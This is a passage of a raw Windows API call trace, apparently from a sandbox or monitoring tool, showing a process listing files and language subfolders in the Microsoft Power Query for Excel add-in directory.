ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn", cAlternateFileName="")) returned 1 [0207.582] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0207.582] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1 [0207.582] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6cde4ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c2b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Spatial.NetFX35.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0207.582] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d2b978, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Mvc.dll", cAlternateFileName="SYSTEM~2.DLL")) returned 1 [0207.582] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1860d8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1 [0207.583] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1 [0207.583] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0207.583] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0207.583] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HANS", cAlternateFileName="")) returned 1 [0207.583] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HANT", cAlternateFileName="")) returned 1 [0207.583] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HANT", cAlternateFileName="")) returned 0 [0207.583] FindClose (in: hFindFile=0x131de60 | out: hFindFile=0x131de60) returned 1 [0207.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0207.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0207.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0207.584] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin", lpFilePart=0x0) returned 0x65 [0207.584] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de60 [0207.584] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0207.584] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0207.584] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0207.584] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0207.584] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0207.584] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0207.585] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0207.585] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4fe050, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentFormat.OpenXml.dll", cAlternateFileName="DOCUME~1.DLL")) returned 1 [0207.585] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0207.585] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0207.585] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0207.585] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0207.585] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="EventSource.dll", cAlternateFileName="EVENTS~1.DLL")) returned 1 [0207.585] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0207.586] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0207.586] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0207.586] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0207.586] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0207.586] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0207.586] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0207.586] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0207.586] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0207.586] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0207.587] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0207.587] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0207.587] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0207.587] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0207.587] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee40, dwReserved0=0x0, dwReserved1=0x0, cFileName="mashupcompression.dll", cAlternateFileName="MASHUP~1.DLL")) returned 1 [0207.587] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa08b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.Edm.NetFX35.dll", cAlternateFileName="MIE429~1.DLL")) returned 1 [0207.588] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5174318, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5174318, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5174318, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1610c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.OData.NetFX35.dll", cAlternateFileName="MI37F8~1.DLL")) returned 1 [0207.588] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b15891, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2c068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.OData.Query.NetFX35.dll", cAlternateFileName="MI8F9F~1.DLL")) returned 1 [0207.588] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfe368d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xfe368d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1698075, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Exchange.WebServices.dll", cAlternateFileName="MIE0C3~1.DLL")) returned 1 [0207.588] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x670f8d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x217840, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.dll", cAlternateFileName="MI0E0A~1.DLL")) returned 1 [0207.588] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45f9db0, ftLastAccessTime.dwHighDateTime=0x1d327e7, 